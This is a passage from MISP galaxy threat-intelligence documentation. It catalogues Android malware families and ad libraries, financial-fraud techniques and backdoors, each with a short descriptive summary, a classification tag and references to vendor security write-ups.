The tag is: misp-galaxy:android="Tapjoy"

Table 370. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-4702-99

Tapsnake

Tapsnake is a Trojan horse for Android phones that is embedded into a game. It tracks the phone’s location and posts it to a remote web service.

The tag is: misp-galaxy:android="Tapsnake"

Table 371. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2010-081214-2657-99

Tascudap

Tascudap is a Trojan horse for Android devices that uses the compromised device in denial of service attacks.

The tag is: misp-galaxy:android="Tascudap"

Table 372. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-121312-4547-99

Teelog

Teelog is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Teelog"

Table 373. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040215-2736-99

Temai

Temai is a Trojan horse for Android applications that opens a back door and downloads malicious files onto the compromised device.

The tag is: misp-galaxy:android="Temai"

Table 374. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091722-4052-99

Tetus

Tetus is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Tetus"

Table 375. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-012409-4705-99

Tgpush

Tgpush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Tgpush"

Table 376. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032816-0259-99

Tigerbot

Tigerbot is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: misp-galaxy:android="Tigerbot"

Table 377. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041010-2221-99

Tonclank

Tonclank is a Trojan horse that steals information and may open a back door on Android devices.

The tag is: misp-galaxy:android="Tonclank"

Table 378. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-061012-4545-99

Trogle

Trogle is a worm for Android devices that may steal information from the compromised device.

The tag is: misp-galaxy:android="Trogle"

Table 379. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-081213-5553-99

Twikabot

Twikabot is a Trojan horse for Android devices that attempts to steal information.

The tag is: misp-galaxy:android="Twikabot"

Table 380. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062614-5813-99

Uapush

Uapush is a Trojan horse for Android devices that steals information from the compromised device. It may also display advertisements and send SMS messages from the compromised device.

The tag is: misp-galaxy:android="Uapush"

Table 381. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040114-2910-99

Umeng

Umeng is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Umeng"

Table 382. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5749-99

Updtbot

Updtbot is a Trojan horse for Android devices that may arrive through SMS messages. It may then open a back door on the compromised device.

The tag is: misp-galaxy:android="Updtbot"

Table 383. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041611-4136-99

Upush

Upush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Upush"

Table 384. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-0733-99

Uracto

Uracto is a Trojan horse for Android devices that steals personal information and sends spam SMS messages to contacts found on the compromised device.

The tag is: misp-galaxy:android="Uracto"

Table 385. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-031805-2722-99

Uranico

Uranico is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Uranico"

Table 386. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-052803-3835-99

Usbcleaver

Usbcleaver is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Usbcleaver"

Table 387. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062010-1818-99

Utchi

Utchi is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Utchi"

Table 388. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-2536-99

Uten

Uten is a Trojan horse for Android devices that may send, block, and delete SMS messages on a compromised device. It may also download and install additional applications and attempt to gain root privileges.

The tag is: misp-galaxy:android="Uten"

Table 389. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-092316-4752-99

Uupay

Uupay is a Trojan horse for Android devices that steals information from the compromised device. It may also download additional malware.

The tag is: misp-galaxy:android="Uupay"

Table 390. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061714-1550-99

Uxipp

Uxipp is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: misp-galaxy:android="Uxipp"

Table 391. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060910-5804-99

Vdloader

Vdloader is a Trojan horse for Android devices that opens a back door on the compromised device and steals confidential information.

The tag is: misp-galaxy:android="Vdloader"

Table 392. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080209-1420-99

VDopia

VDopia is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="VDopia"

Table 393. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-1559-99

Virusshield

Virusshield is a Trojan horse for Android devices that claims to scan apps and protect personal information, but has no real functionality.

The tag is: misp-galaxy:android="Virusshield"

Table 394. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040810-5457-99

VServ

VServ is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="VServ"

Table 395. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-3117-99

Walkinwat

Walkinwat is a Trojan horse that steals information from the compromised device.

The tag is: misp-galaxy:android="Walkinwat"

Table 396. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-033008-4831-99

Waps

Waps is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Waps"

Table 397. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040406-5437-99

Waren

Waren is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Waren"

Table 398. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5501-99

Windseeker

Windseeker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Windseeker"

Table 399. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101519-0720-99

Wiyun

Wiyun is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Wiyun"

Table 400. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-5646-99

Wooboo

Wooboo is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Wooboo"

Table 401. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-5829-99

Wqmobile

Wqmobile is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Wqmobile"

Table 402. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4926-99

YahooAds

YahooAds is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="YahooAds"

Table 403. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-3229-99

Yatoot

Yatoot is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Yatoot"

Table 404. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-031408-4748-99

Yinhan

Yinhan is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Yinhan"

Table 405. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-3350-99

Youmi

Youmi is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Youmi"

Table 406. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4318-99

YuMe

YuMe is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="YuMe"

Table 407. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-0322-99

Zeahache

Zeahache is a Trojan horse that elevates privileges on the compromised device.

The tag is: misp-galaxy:android="Zeahache"

Table 408. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-032309-5042-99

ZertSecurity

ZertSecurity is a Trojan horse for Android devices that steals information and sends it to a remote attacker.

The tag is: misp-galaxy:android="ZertSecurity"

Table 409. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-050820-4100-99

ZestAdz

ZestAdz is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="ZestAdz"

Table 410. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052616-3821-99

Zeusmitmo

Zeusmitmo is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Zeusmitmo"

Table 411. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080818-0448-99

SLocker

The SLocker family is one of the oldest mobile lock screen and file-encrypting ransomware and used to impersonate law enforcement agencies to convince victims to pay their ransom.

The tag is: misp-galaxy:android="SLocker"

SLocker is also known as:

SMSLocker

Table 412. Table References
Links
http://blog.trendmicro.com/trendlabs-security-intelligence/mobile-ransomware-pocket-sized-badness/
http://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/

Loapi

A malware strain known as Loapi will damage phones if users don’t remove it from their devices. Left to its own means, this modular threat will download a Monero cryptocurrency miner that will overheat and overwork the phone’s components, which will make the battery bulge, deform the phone’s cover, or even worse. Discovered by Kaspersky Labs, researchers say Loapi appears to have evolved from Podec, a malware strain spotted in 2015.

The tag is: misp-galaxy:android="Loapi"

Table 413. Table References
Links
https://www.bleepingcomputer.com/news/security/android-malware-will-destroy-your-phone-no-ifs-and-buts-about-it/

Podec

Late last year, we encountered an SMS Trojan called Trojan-SMS.AndroidOS.Podec which used a very powerful legitimate system to protect itself against analysis and detection. After we removed the protection, we saw a small SMS Trojan with most of its malicious payload still in development. Before long, though, we intercepted a fully-fledged version of Trojan-SMS.AndroidOS.Podec in early 2015. The updated version proved to be remarkable: it can send messages to premium-rate numbers employing tools that bypass the Advice of Charge system (which notifies users about the price of a service and requires authorization before making the payment). It can also subscribe users to premium-rate services while bypassing CAPTCHA. This is the first time Kaspersky Lab has encountered this kind of capability in any Android-Trojan.

The tag is: misp-galaxy:android="Podec"

Table 414. Table References
Links
https://securelist.com/sms-trojan-bypasses-captcha/69169//

Chamois

Chamois is one of the largest PHA families in Android to date and is distributed through multiple channels. While much of the backdoor version of this family was cleaned up in 2016, a new variant emerged in 2017. To avoid detection, this version employs a number of techniques, such as implementing custom code obfuscation, preventing user notifications, and not appearing in the device’s app list. Chamois apps, which in many cases come preloaded with the system image, try to trick users into clicking ads by displaying deceptive graphics to commit WAP or SMS fraud.

The tag is: misp-galaxy:android="Chamois"

Table 415. Table References
Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf
https://android-developers.googleblog.com/2017/03/detecting-and-eliminating-chamois-fraud.html

IcicleGum

IcicleGum is a spyware PHA family whose apps rely on versions of the Igexin ads SDK that offer dynamic code-loading support. IcicleGum apps use this library’s code-loading features to fetch encrypted DEX files over HTTP from command-and-control servers. The files are then decrypted and loaded via class reflection to read and send phone call logs and other data to remote locations.

The tag is: misp-galaxy:android="IcicleGum"

IcicleGum has relationships with:

similar: misp-galaxy:android="Igexin" with estimative-language:likelihood-probability="likely"

Table 416. Table References
Links
https://blog.lookout.com/igexin-malicious-sdk
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

BreadSMS

BreadSMS is a large SMS-fraud PHA family that we started tracking at the beginning of 2017. These apps compose and send text messages to premium numbers without the user’s consent. In some cases, BreadSMS apps also implement subscription-based SMS fraud and silently enroll users in services provided by their mobile carriers. These apps are linked to a group of command-and-control servers whose IP addresses change frequently and that are used to provide the apps with premium SMS numbers and message text.

The tag is: misp-galaxy:android="BreadSMS"

Table 417. Table References
Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

JamSkunk

JamSkunk is a toll-fraud PHA family composed of apps that subscribe users to services without their consent. These apps disable Wi-Fi to force traffic to go through users' mobile data connection and then contact command-and-control servers to dynamically fetch code that tries to bypass the network’s WAP service subscription verification steps. This type of PHA monetizes their abuse via WAP billing, a payment method that works through mobile data connections and allows users to easily sign up and pay for new services using their existing account (i.e., services are billed directly by the carrier, and not the service provider; the user does not need a new account or a different form of payment). Once authentication is bypassed, JamSkunk apps enroll the device in services that the user may not notice until they receive and read their next bill.

The tag is: misp-galaxy:android="JamSkunk"

Table 418. Table References
Links
https://blog.fosec.vn/malicious-applications-stayed-at-google-appstore-for-months-d8834ff4de59
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

Expensive Wall

Expensive Wall is a family of SMS-fraud apps that affected a large number of devices in 2017. Expensive Wall apps use code obfuscation to slow down analysis and evade detection, and rely on the JS2Java bridge to allow JavaScript code loaded inside a Webview to call Java methods the way Java apps directly do. Upon launch, Expensive Wall apps connect to command-and-control servers to fetch a domain name. This domain is then contacted via a Webview instance that loads a webpage and executes JavaScript code that calls Java methods to compose and send premium SMS messages or click ads without users' knowledge.

The tag is: misp-galaxy:android="Expensive Wall"

Table 419. Table References
Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf
https://blog.checkpoint.com/2017/09/14/expensivewall-dangerous-packed-malware-google-play-will-hit-wallet/

BambaPurple

BambaPurple is a two-stage toll-fraud PHA family that tries to trick users into installing it by disguising itself as a popular app. After install, the app disables Wi-Fi to force the device to use its 3G connection, then redirects to subscription pages without the user’s knowledge, clicks subscription buttons using downloaded JavaScript, and intercepts incoming subscription SMS messages to prevent the user from unsubscribing. In a second stage, BambaPurple installs a backdoor app that requests device admin privileges and drops a .dex file. This executable checks to make sure it is not being debugged, downloads even more apps without user consent, and displays ads.

The tag is: misp-galaxy:android="BambaPurple"

Table 420. Table References
Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

KoreFrog

KoreFrog is a family of trojan apps that request permission to install packages and push other apps onto the device as system apps without the user’s authorization. System apps can be disabled by the user, but cannot be easily uninstalled. KoreFrog apps operate as daemons running in the background that try to impersonate Google and other system apps by using misleading names and icons to avoid detection. The KoreFrog PHA family has also been observed to serve ads, in addition to apps.

The tag is: misp-galaxy:android="KoreFrog"

Table 421. Table References
Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

Gaiaphish

Gaiaphish is a large family of trojan apps that target authentication tokens stored on the device to abuse the user’s privileges for various purposes. These apps use base64-encoded URL strings to avoid detection of the command-and-control servers they rely on to download APK files. These files contain phishing apps that try to steal GAIA authentication tokens that grant the user permissions to access Google services, such as Google Play, Google+, and YouTube. With these tokens, Gaiaphish apps are able to generate spam and automatically post content (for instance, fake app ratings and comments on Google Play app pages)

The tag is: misp-galaxy:android="Gaiaphish"

Table 422. Table References
Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

RedDrop

RedDrop can perform a vast array of malicious actions, including recording nearby audio and uploading the data to cloud-storage accounts on Dropbox and Google Drive.

The tag is: misp-galaxy:android="RedDrop"

Table 423. Table References
Links
https://www.bleepingcomputer.com/news/security/new-reddrop-android-spyware-records-nearby-audio/

HenBox

HenBox apps masquerade as others such as VPN apps, and Android system apps; some apps carry legitimate versions of other apps which they drop and install as a decoy technique. While some of legitimate apps HenBox uses as decoys can be found on Google Play, HenBox apps themselves are found only on third-party (non-Google Play) app stores. HenBox apps appear to primarily target the Uyghurs – a Turkic ethnic group living mainly in the Xinjiang Uyghur Autonomous Region in North West China. HenBox has ties to infrastructure used in targeted attacks, with a focus on politics in South East Asia. These attackers have used additional malware families in previous activity dating to at least 2015 that include PlugX, Zupdax, 9002, and Poison Ivy. HexBox apps target devices made by Chinese consumer electronics manufacture, Xiaomi and those running MIUI, Xiaomi’s operating system based on Google Android. Furthermore, the malicious apps register their intent to process certain events broadcast on compromised devices in order to execute malicious code. This is common practice for many Android apps, however, HenBox sets itself up to trigger based on alerts from Xiaomi smart-home IoT devices, and once activated, proceeds in stealing information from a myriad of sources, including many mainstream chat, communication and social media apps. The stolen information includes personal and device information.

The tag is: misp-galaxy:android="HenBox"

Table 424. Table References
Links
https://researchcenter.paloaltonetworks.com/2018/04/unit42-henbox-inside-coop/

MysteryBot

Cybercriminals are currently developing a new strain of malware targeting Android devices which blends the features of a banking trojan, keylogger, and mobile ransomware.

The tag is: misp-galaxy:android="MysteryBot"

MysteryBot has relationships with:

similar: misp-galaxy:malpedia="MysteryBot" with estimative-language:likelihood-probability="likely"

Table 425. Table References
Links
https://www.bleepingcomputer.com/news/security/new-mysterybot-android-malware-packs-a-banking-trojan-keylogger-and-ransomware/

Skygofree

At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014. Since then, the implant’s functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals. We observed many web landing pages that mimic the sites of mobile operators and which are used to spread the Android implants. These domains have been registered by the attackers since 2015. According to our telemetry, that was the year the distribution campaign was at its most active. The activities continue: the most recently observed domain was registered on October 31, 2017. Based on our KSN statistics, there are several infected individuals, exclusively in Italy. Moreover, as we dived deeper into the investigation, we discovered several spyware tools for Windows that form an implant for exfiltrating sensitive data on a targeted machine. The version we found was built at the beginning of 2017, and at the moment we are not sure whether this implant has been used in the wild. We named the malware Skygofree, because we found the word in one of the domains.

The tag is: misp-galaxy:android="Skygofree"

Skygofree has relationships with:

similar: misp-galaxy:malpedia="Skygofree" with estimative-language:likelihood-probability="likely"

Table 426. Table References
Links
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/

BusyGasper

A new family of spyware for Android grabbed the attention of security researchers through its unusual set of features and their original implementation. Tagged BusyGasper by security experts at Kaspersky, the malware stands out through its ability to monitor the various sensors present on the targeted phone. Based on the motion detection logs, it can recognize the opportune time for running and stopping its activity.

The tag is: misp-galaxy:android="BusyGasper"

Table 427. Table References
Links
https://www.bleepingcomputer.com/news/security/unsophisticated-android-spyware-monitors-device-sensors/

Triout

Bitdefender says Triout samples they discovered were masquerading in a clone of a legitimate application, but they were unable to discover where this malicious app was being distributed from. The obvious guess would be via third-party Android app stores, or app-sharing forums, popular in some areas of the globe.

The tag is: misp-galaxy:android="Triout"

Table 428. Table References
Links
https://www.bleepingcomputer.com/news/security/new-android-triout-malware-can-record-phone-calls-steal-pictures/

AndroidOS_HidenAd

active adware family (detected by Trend Micro as AndroidOS_HidenAd) disguised as 85 game, TV, and remote control simulator apps on the Google Play store

The tag is: misp-galaxy:android="AndroidOS_HidenAd"

AndroidOS_HidenAd is also known as:

AndroidOS_HiddenAd

Table 429. Table References
Links
https://blog.trendmicro.com/trendlabs-security-intelligence/adware-disguised-as-game-tv-remote-control-apps-infect-9-million-google-play-users/

Razdel

The Banking Trojan found in Google Play is identified as Razdel, a variant of BankBot mobile banking Trojan. This newly observed variant has taken mobile threats to the next level incorporating: Remote access Trojan functions, SMS interception, UI (User Interface) Overlay with masqueraded pages etc.

The tag is: misp-galaxy:android="Razdel"

Table 430. Table References
Links
http://www.virusremovalguidelines.com/tag/what-is-bankbot
https://mobile.twitter.com/pr3wtd/status/1097477833625088000

attck4fraud

attck4fraud - Principles of MITRE ATT&CK in the fraud domain.

attck4fraud is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Francesco Bigarella

Phishing

In the context of ATT&CK for Fraud, phishing is described as the sending of fraudulent emails to a large audience in order to obtain sensitive information (PII, credentials, payment information). Phishing is never targeted to a specific individual or organisation. Phishing tries to create a sense of urgency or curiosity in order to capture the victim.

The tag is: misp-galaxy:financial-fraud="Phishing"

Table 431. Table References
Links
https://blog.malwarebytes.com/cybercrime/2015/02/amazon-notice-ticket-number-phish-seeks-card-details/
https://www.bleepingcomputer.com/news/security/widespread-apple-id-phishing-attack-pretends-to-be-app-store-receipts/

Spear phishing

Spear phishing is the use of targeted emails to gain the trust of the target with the goal of committing fraud. Spear phishing messages are generally specific to the target and show an understanding of the target’s organisation structure, supply chain or business.

The tag is: misp-galaxy:financial-fraud="Spear phishing"

Table 432. Table References
Links
http://fortune.com/2017/04/27/facebook-google-rimasauskas/
https://www.ibtimes.co.uk/russian-hackers-fancy-bear-likely-breached-olympic-drug-testing-agency-dnc-experts-say-1577508

ATM skimming

ATM Skimming refers to the act of capturing the data stored on a bank cards (tracks) and the Personal Identification Number (PIN) associated to that card. Upon obtaining the data, the criminal proceeds to encode the same information into a new card and use it in combination with the PIN to perform illicit cash withdrawals. ATM Skimming is often achieved with a combination of a skimmer device for the card and a camera to capture the PIN.

The tag is: misp-galaxy:financial-fraud="ATM skimming"

Table 433. Table References
Links
https://krebsonsecurity.com/2015/07/spike-in-atm-skimming-in-mexico/
https://krebsonsecurity.com/2011/12/pro-grade-3d-printer-made-atm-skimmer/
https://krebsonsecurity.com/2017/08/dumping-data-from-deep-insert-skimmers/
https://krebsonsecurity.com/2016/06/atm-insert-skimmers-in-action/
https://krebsonsecurity.com/2014/11/skimmer-innovation-wiretapping-atms/
https://krebsonsecurity.com/2016/09/secret-service-warns-of-periscope-skimmers/
https://krebsonsecurity.com/2011/03/green-skimmers-skimming-green
https://blog.dieboldnixdorf.com/have-you-asked-yourself-this-question-about-skimming/

ATM Shimming

ATM Shimming refers to the act of capturing a bank card data accessing the EMV chip installed on the card while presenting the card to a ATM. Due to their low profile, shimmers can be fit inside ATM card readers and are therefore more difficult to detect.

The tag is: misp-galaxy:financial-fraud="ATM Shimming"

Table 434. Table References
Links
https://krebsonsecurity.com/2015/08/chip-card-atm-shimmer-found-in-mexico/
https://www.cbc.ca/news/canada/british-columbia/shimmers-criminal-chip-card-reader-fraud-1.3953438
https://krebsonsecurity.com/2017/01/atm-shimmers-target-chip-based-cards/
https://blog.dieboldnixdorf.com/atm-security-skimming-vs-shimming/

Vishing

The tag is: misp-galaxy:financial-fraud="Vishing"

POS Skimming

The tag is: misp-galaxy:financial-fraud="POS Skimming"

Social Media Scams

The tag is: misp-galaxy:financial-fraud="Social Media Scams"

Malware

The tag is: misp-galaxy:financial-fraud="Malware"

Account-Checking Services

The tag is: misp-galaxy:financial-fraud="Account-Checking Services"

ATM Black Box Attack

The tag is: misp-galaxy:financial-fraud="ATM Black Box Attack"

Insider Trading

The tag is: misp-galaxy:financial-fraud="Insider Trading"

Investment Fraud

The tag is: misp-galaxy:financial-fraud="Investment Fraud"

Romance Scam

The tag is: misp-galaxy:financial-fraud="Romance Scam"

Buying/Renting Fraud

The tag is: misp-galaxy:financial-fraud="Buying/Renting Fraud"

Cash Recovery Scam

The tag is: misp-galaxy:financial-fraud="Cash Recovery Scam"

Fake Invoice Fraud

The tag is: misp-galaxy:financial-fraud="Fake Invoice Fraud"

Business Email Compromise

The tag is: misp-galaxy:financial-fraud="Business Email Compromise"

Scam

The tag is: misp-galaxy:financial-fraud="Scam"

CxO Fraud

The tag is: misp-galaxy:financial-fraud="CxO Fraud"

Compromised Payment Cards

The tag is: misp-galaxy:financial-fraud="Compromised Payment Cards"

Compromised Account Credentials

The tag is: misp-galaxy:financial-fraud="Compromised Account Credentials"

Compromised Personally Identifiable Information (PII)

The tag is: misp-galaxy:financial-fraud="Compromised Personally Identifiable Information (PII)"

Compromised Intellectual Property (IP)

The tag is: misp-galaxy:financial-fraud="Compromised Intellectual Property (IP)"

SWIFT Transaction

The tag is: misp-galaxy:financial-fraud="SWIFT Transaction"

Fund Transfer

The tag is: misp-galaxy:financial-fraud="Fund Transfer"

Cryptocurrency Exchange

The tag is: misp-galaxy:financial-fraud="Cryptocurrency Exchange"

ATM Jackpotting

The tag is: misp-galaxy:financial-fraud="ATM Jackpotting"

Money Mules

The tag is: misp-galaxy:financial-fraud="Money Mules"

Prepaid Cards

The tag is: misp-galaxy:financial-fraud="Prepaid Cards"

Resell Stolen Data

The tag is: misp-galaxy:financial-fraud="Resell Stolen Data"

ATM Explosive Attack

The tag is: misp-galaxy:financial-fraud="ATM Explosive Attack"

Backdoor

A list of backdoor malware..

Backdoor is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: raw-data

WellMess

Cross-platform malware written in Golang, compatible with Linux and Windows. Although there are some minor differences, both variants have the same functionality. The malware communicates with a CnC server using HTTP requests and performs functions based on the received commands. Results of command execution are sent in HTTP POST requests data (RSA-encrypted). Main functionalities are: (1) Execute arbitrary shell commands, (2) Upload/Download files. The PE variant of the infection, in addition, executes PowerShell scripts. A .Net version was also observed in the wild.

The tag is: misp-galaxy:backdoor="WellMess"

WellMess has relationships with:

similar: misp-galaxy:malpedia="WellMess" with estimative-language:likelihood-probability="likely"

Table 435. Table References
Links
https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html

Rosenbridge

The rosenbridge backdoor is a small, non-x86 core embedded alongside the main x86 core in the CPU. It is enabled by a model-specific-register control bit, and then toggled with a launch-instruction. The embedded core is then fed commands, wrapped in a specially formatted x86 instruction. The core executes these commands (which we call the 'deeply embedded instruction set'), bypassing all memory protections and privilege checks.

While the backdoor should require kernel level access to activate, it has been observed to be enabled by default on some systems, allowing any unprivileged code to modify the kernel.

The rosenbridge backdoor is entirely distinct from other publicly known coprocessors on x86 CPUs, such as the Management Engine or Platform Security Processor; it is more deeply embedded than any known coprocessor, having access to not only all of the CPU’s memory, but its register file and execution pipeline as well.

The tag is: misp-galaxy:backdoor="Rosenbridge"

Table 436. Table References
Links
https://www.bleepingcomputer.com/news/security/backdoor-mechanism-discovered-in-via-c3-x86-processors/
https://github.com/xoreaxeaxeax/rosenbridge
https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20presentations/Christopher%20Domas/DEFCON-26-Christopher-Domas-GOD-MODE-%20UNLOCKED-hardware-backdoors-in-x86-CPUs.pdf

ServHelper

The purpose of the macro was to download and execute a variant of ServHelper that set up reverse SSH tunnels that enabled access to the infected host through the Remote Desktop Protocol (RDP) port 3389.

"Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to “hijack” legitimate user accounts or their web browser profiles and use them as they see fit," researchers from Proofpoint explain in an analysis released today.

The other ServHelper variant does not include the tunneling and hijacking capabilities and functions only as a downloader for the FlawedGrace RAT.

The tag is: misp-galaxy:backdoor="ServHelper"

Table 437. Table References
Links
https://www.bleepingcomputer.com/news/security/new-servhelper-backdoor-and-flawedgrace-rat-pushed-by-necurs-botnet/

Rising Sun

The Rising Sun backdoor uses the RC4 cipher to encrypt its configuration data and communications. As with most backdoors, on initial infection, Rising Sun will send data regarding the infected system to a command and control (C2) site. That information captures computer and user name, IP address, operating system version and network adapter information. Rising Sun contains 14 functions including executing commands, obtaining information on disk drives and running processes, terminating processes, obtaining file creation and last access times, reading and writing files, deleting files, altering file attributes, clearing the memory of processes and connecting to a specified IP address.

The tag is: misp-galaxy:backdoor="Rising Sun"

Table 438. Table References
Links
https://www.bluvector.io/threat-report-rising-sun-operation-sharpshooter/

SLUB

A new backdoor was observed using the Github Gist service and the Slack messaging system as communication channels with its masters, as well as targeting a very specific type of victim using a watering hole attack. The backdoor dubbed SLUB by the Trend Micro Cyber Safety Solutions Team who detected it in the wild is part of a multi-stage infection process designed by capable threat actors who programmed it in C++. SLUB uses statically-linked curl, boost, and JsonCpp libraries for performing HTTP request, "extracting commands from gist snippets," and "parsing Slack channel communication." The campaign recently observed by the Trend Micro security researchers abusing the Github and Slack uses a multi-stage infection process.

The tag is: misp-galaxy:backdoor="SLUB"

SLUB has relationships with:

similar: misp-galaxy:tool="SLUB Backdoor" with estimative-language:likelihood-probability="likely"

Table 439. Table References
Links
https://www.bleepingcomputer.com/news/security/new-slub-backdoor-uses-slack-github-as-communication-channels/

Asruex

Since it first emerged in 2015, Asruex has been known for its backdoor capabilities and connection to the spyware DarkHotel. However, when we encountered Asruex in a PDF file, we found that a variant of the malware can also act as an infector particularly through the use of old vulnerabilities CVE-2012-0158 and CVE-2010-2883, which inject code in Word and PDF files respectively.

The tag is: misp-galaxy:backdoor="Asruex"

Table 440. Table References
Links
https://blog.trendmicro.com/trendlabs-security-intelligence/asruex-backdoor-variant-infects-word-documents-and-pdfs-through-old-ms-office-and-adobe-vulnerabilities/

FlowerPippi

The tag is: misp-galaxy:backdoor="FlowerPippi"

Table 441. Table References
Links
https://securityintelligence.com/news/ta505-delivers-new-gelup-malware-tool-flowerpippi-backdoor-via-spam-campaign/

Speculoos

FreeBSD-based payload, Speculoos was delivered by exploiting CVE-2019-19781, a vulnerability affecting the Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliances that allowed an adversary to remotely execute arbitrary commands. This vulnerability was first disclosed on December 17, 2019 via security bulletin CTX267679 which contained several mitigation recommendations. By January 24, 2020, permanent patches for the affected appliances were issued. Based on the spread of industries and regions, in addition to the timing of the vulnerability disclosure, we believe this campaign may have been more opportunistic in nature compared to the highly targeted attack campaigns that are often associated with these types of adversaries. However, considering the exploitation of the vulnerability in conjunction with delivery of a backdoor specifically designed to execute on the associated FreeBSD operating system indicates the adversary was absolutely targeting the affected devices.

The tag is: misp-galaxy:backdoor="Speculoos"

Speculoos has relationships with:

used-by: misp-galaxy:threat-actor="APT41" with estimative-language:likelihood-probability="very-likely"

Table 442. Table References
Links
https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/

Banker

A list of banker malware..

Banker is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

